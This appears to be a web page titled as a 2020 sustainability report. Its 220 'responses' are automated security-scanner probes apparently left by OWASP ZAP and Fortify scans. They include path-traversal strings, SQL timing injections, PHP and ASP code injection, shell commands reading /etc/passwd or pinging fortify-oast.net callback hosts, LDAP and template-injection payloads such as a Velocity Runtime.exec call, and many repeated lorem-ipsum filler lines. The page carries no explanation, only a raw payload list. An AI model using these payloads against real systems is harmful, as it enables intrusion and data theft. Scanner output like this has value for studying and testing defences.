Rapport Développement Durable 2020

220 réponses

1. c:/Windows/system.ini

2. ../../../../../../../../../../../../../../../../Windows/system.ini

3. c:\Windows\system.ini

4. ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\system.ini

5. c:/

6. /

7. c:\

8. ../../../../../../../../../../../../../../../../

9. WEB-INF/web.xml

10. WEB-INF\web.xml

11. /WEB-INF/web.xml

12. \WEB-INF\web.xml

13. thishouldnotexistandhopefullyitwillnot

14. wp-comments-post.php

15. /wp-comments-post.php

16. \wp-comments-post.php

17. http://www.google.com/

18. http://www.google.com

19. http://www.google.com:80/search?q=OWASP%20ZAP

20. http://www.google.com:80/

21. http://www.google.com/search?q=OWASP%20ZAP

22. http://www.google.com:80/search?q=OWASP%20ZAP

23. 3686492608577978139.owasp.org

24. http://3686492608577978139.owasp.org

25. https://3686492608577978139.owasp.org

26. 5;URL=’https://3686492608577978139.owasp.org’

27. http:\\3686492608577978139.owasp.org

28. https:\\3686492608577978139.owasp.org

29. \\3686492608577978139.owasp.org

30. 0W45pz4p

31. ‘

32. WAITFOR DELAY ‘0:0:15’ —

33.  » WAITFOR DELAY ‘0:0:15’ —

34. ) ‘ WAITFOR DELAY ‘0:0:15’ —

35. « ;print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));$var= »

36. ${@print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110))}

37. ${@print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110))}\

38. « +response.write([302,255*32,370)+ »

39. +response.write({0}*{1})+

40. cat /etc/passwd

41. ;cat /etc/passwd;

42. « ;cat /etc/passwd; »

43. ‘;cat /etc/passwd;’

44. ;sleep 15;

45. « ;sleep 15; »

46. ‘;sleep 15;’

47. &type %SYSTEMROOT%\win.ini

48. « &type %SYSTEMROOT%\win.ini& »

49. « |type %SYSTEMROOT%\win.ini

50. ‘|type %SYSTEMROOT%\win.ini

51. |timeout /T 15

52. « &timeout /T 15& »

53. ‘&timeout /T 15&’

54. ‘|timeout /T 15

55. ;get-help

56. ‘;get-help

57. ;start-sleep -s 15

58. ‘;start-sleep -s 15

59. Zaproxy dolore alias impedit expedita quisquam.

60. c:/Windows/system.ini

61. 12345

62. https://555ab7bf-a1b7-46d0-9710-5d53a7eec777.fortify-oast.net/foo

63. 12345

64. *)( cn=*

65. *voidstmp1454552042)( cn=*1454552042void

66. rmi://555ab7bf-dc38-45a4-b033-cf9f8fb4de58.fortify-oast.net/foo

67. 12345

68. 12345
    SPIHeader: SPIValue

69. 12345

70. 12345

71. 1′; return true; ‘1

72. 1′; return Boolean( »); ‘false0

73. 12345

74. 12345 ; ping 555ab7bf-eb12-49b9-bfc9-f1a55bea938a.fortify-oast.net ; echo 5

75. 12345′ ; ping 555ab7bf-128c-4219-8e35-5bf3369af645.fortify-oast.net ; echo ‘5

76. 12345″ && ping 555ab7bf-2000-40c8-966b-43634069acef.fortify-oast.net && echo « 5

77. 12345 || ping 555ab7bf-be4c-43c9-90bd-cc30dda2e2a1.fortify-oast.net || echo 5

78. 12345′ || ping 555ab7bf-769d-4276-a699-bfe579a4a9c2.fortify-oast.net || echo ‘5

79. 12345″
    ping 555ab7bf-d89b-4628-9c69-63c4ff741692.fortify-oast.net
    echo « 5

80. 12345`getent hosts 555ab7bf-b855-4156-a61c-fd79d87c4fc6.fortify-oast.net`5

81. 12345’$(getent hosts 555ab7bf-4c0e-4bba-8a22-70803c77d49b.fortify-oast.net)’5

82. 12345

83. 12345

84. 12345

85. 12345

86. %00

87. @’

88. 12345

89. 12345

90. 12345

91. 12345

92. 12345

93. ../../../../../../../../../../../../../../../../Windows/system.ini

94. c:\Windows\system.ini

95. ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\system.ini

96. /

97. ../../../../../../../../../../../../../../../../

98. WEB-INF\web.xml

99. \WEB-INF\web.xml

100. thishouldnotexistandhopefullyitwillnot

101. wp-comments-post.php

102. /wp-comments-post.php

103. \wp-comments-post.php

104. Zaproxy dolore alias impedit expedita quisquam.

105. Zaproxy dolore alias impedit expedita quisquam.

106. Zaproxy dolore alias impedit expedita quisquam.

107. Zaproxy dolore alias impedit expedita quisquam.

108. Zaproxy dolore alias impedit expedita quisquam.

109. Zaproxy dolore alias impedit expedita quisquam.

110. Zaproxy dolore alias impedit expedita quisquam.

111. Zaproxy dolore alias impedit expedita quisquam.

112. Zaproxy dolore alias impedit expedita quisquam.

113. Zaproxy dolore alias impedit expedita quisquam.

114. Zaproxy dolore alias impedit expedita quisquam.

115. Zaproxy dolore alias impedit expedita quisquam.

116. Zaproxy dolore alias impedit expedita quisquam.

117. Zaproxy dolore alias impedit expedita quisquam.

118. Zaproxy dolore alias impedit expedita quisquam.

119. Zaproxy dolore alias impedit expedita quisquam.

120. http://www.google.com/

121. http://www.google.com:80/

122. http://www.google.com

123. c:/

124. WEB-INF/web.xml

125. http://www.google.com/search?q=ZAP

126. http://www.google.com/

127. http://www.google.com

128. http://www.google.com:80/search?q=ZAP

129. Zaproxy dolore alias impedit expedita quisquam.

130. Zaproxy dolore alias impedit expedita quisquam.

131. Zaproxy dolore alias impedit expedita quisquam.

132. Zaproxy dolore alias impedit expedita quisquam.

133. Zaproxy dolore alias impedit expedita quisquam.

134. 2779748866033471375.owasp.org

135. Zaproxy dolore alias impedit expedita quisquam.

136. Zaproxy dolore alias impedit expedita quisquam.

137. Zaproxy dolore alias impedit expedita quisquam.

138. Zaproxy dolore alias impedit expedita quisquam.

139. zApPX2sS

140. ‘

141. « 

142. ;

143. ‘(

144. Zaproxy dolore alias impedit expedita quisquam. AND 1=1 —

145. Zaproxy dolore alias impedit expedita quisquam.

146. Zaproxy dolore alias impedit expedita quisquam.

147. Zaproxy dolore alias impedit expedita quisquam.

148. Zaproxy dolore alias impedit expedita quisquam.

149. Zaproxy dolore alias impedit expedita quisquam.

150. Zaproxy dolore alias impedit expedita quisquam.

151. Zaproxy dolore alias impedit expedita quisquam.

152. Zaproxy dolore alias impedit expedita quisquam.

153. Zaproxy dolore alias impedit expedita quisquam.

154. Zaproxy dolore alias impedit expedita quisquam.

155. Zaproxy dolore alias impedit expedita quisquam.

156. Zaproxy dolore alias impedit expedita quisquam.

157. Zaproxy dolore alias impedit expedita quisquam. / sleep(15)

158. Zaproxy dolore alias impedit expedita quisquam.

159. ; select « java.lang.Thread.sleep »(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = ‘SYSTEM_COLUMNS’ and COLUMN_NAME = ‘TABLE_NAME’ —

160. ); select « java.lang.Thread.sleep »(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = ‘SYSTEM_COLUMNS’ and COLUMN_NAME = ‘TABLE_NAME’ —

161. Zaproxy dolore alias impedit expedita quisquam. / « java.lang.Thread.sleep »(15000)

162. Zaproxy dolore alias impedit expedita quisquam.

163. (SELECT UTL_INADDR.get_host_name(‘10.0.0.1’) from dual union SELECT UTL_INADDR.get_host_name(‘10.0.0.2’) from dual union SELECT UTL_INADDR.get_host_name(‘10.0.0.3’) from dual union SELECT UTL_INADDR.get_host_name(‘10.0.0.4’) from dual union SELECT UTL_INADDR.get_host_name(‘10.0.0.5’) from dual)

164. Zaproxy dolore alias impedit expedita quisquam.’ / (SELECT UTL_INADDR.get_host_name(‘10.0.0.1’) from dual union SELECT UTL_INADDR.get_host_name(‘10.0.0.2’) from dual union SELECT UTL_INADDR.get_host_name(‘10.0.0.3’) from dual union SELECT UTL_INADDR.get_host_name(‘10.0.0.4’) from dual union SELECT UTL_INADDR.get_host_name(‘10.0.0.5’) from dual) / ‘

165. Zaproxy dolore alias impedit expedita quisquam. and exists (SELECT UTL_INADDR.get_host_name(‘10.0.0.1’) from dual union SELECT UTL_INADDR.get_host_name(‘10.0.0.2’) from dual union SELECT UTL_INADDR.get_host_name(‘10.0.0.3’) from dual union SELECT UTL_INADDR.get_host_name(‘10.0.0.4’) from dual union SELECT UTL_INADDR.get_host_name(‘10.0.0.5’) from dual) —

166. case when cast(pg_sleep(15) as varchar) >  » then 0 else 1 end

167. Zaproxy dolore alias impedit expedita quisquam.

168. Zaproxy dolore alias impedit expedita quisquam.

169. Zaproxy dolore alias impedit expedita quisquam.

170. Zaproxy dolore alias impedit expedita quisquam.

171. Zaproxy dolore alias impedit expedita quisquam.

172. Zaproxy dolore alias impedit expedita quisquam. WAITFOR DELAY ‘0:0:15’ —

173. Zaproxy dolore alias impedit expedita quisquam.’ WAITFOR DELAY ‘0:0:15’ —

174. Zaproxy dolore alias impedit expedita quisquam.

175. « ;print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));$var= »

176. ‘;print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));$var=’

177. ${@print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110))}\

178. +response.write({0}*{1})+

179. response.write(696,983*749,269)

180. Zaproxy dolore alias impedit expedita quisquam.

181. Zaproxy dolore alias impedit expedita quisquam.

182. Zaproxy dolore alias impedit expedita quisquam.

183. Zaproxy dolore alias impedit expedita quisquam.

184. cat /etc/passwd

185. Zaproxy dolore alias impedit expedita quisquam.;cat /etc/passwd;

186. Zaproxy dolore alias impedit expedita quisquam. »;cat /etc/passwd; »

187. Zaproxy dolore alias impedit expedita quisquam.

188. Zaproxy dolore alias impedit expedita quisquam.

189. Zaproxy dolore alias impedit expedita quisquam.

190. Zaproxy dolore alias impedit expedita quisquam.

191. Zaproxy dolore alias impedit expedita quisquam.

192. Zaproxy dolore alias impedit expedita quisquam.

193. Zaproxy dolore alias impedit expedita quisquam.

194. Zaproxy dolore alias impedit expedita quisquam.

195. Zaproxy dolore alias impedit expedita quisquam.

196. Zaproxy dolore alias impedit expedita quisquam.

197. Zaproxy dolore alias impedit expedita quisquam.

198. Zaproxy dolore alias impedit expedita quisquam.

199. Zaproxy dolore alias impedit expedita quisquam.

200. Zaproxy dolore alias impedit expedita quisquam.

201. Zaproxy dolore alias impedit expedita quisquam.

202. Zaproxy dolore alias impedit expedita quisquam.

203. Zaproxy dolore alias impedit expedita quisquam.

204. Zaproxy dolore alias impedit expedita quisquam.

205. Zaproxy dolore alias impedit expedita quisquam.

206. Zaproxy dolore alias impedit expedita quisquam.

207. Zaproxy dolore alias impedit expedita quisquam.

208. Zaproxy dolore alias impedit expedita quisquam.

209. Zaproxy dolore alias impedit expedita quisquam.

210. Zaproxy dolore alias impedit expedita quisquam.

211. « ‘

212. ]]>

213. Zaproxy dolore alias impedit expedita quisquam.

214. zj 4383*9474 zj

215. zj#{5444*6765}zj

216. ${ ex(« sleep 2 ») }

217. ${ ex(« sleep 0 ») }

218. ${ ex(« sleep 28 ») }

219. #set($engine= » »)
     #set($proc=$engine.getClass().forName(« java.lang.Runtime »).getRuntime().exec(« sleep 0 »))
     #set($null=$proc.waitFor())
     ${null}

220. Zaproxy dolore alias impedit expedita quisquam.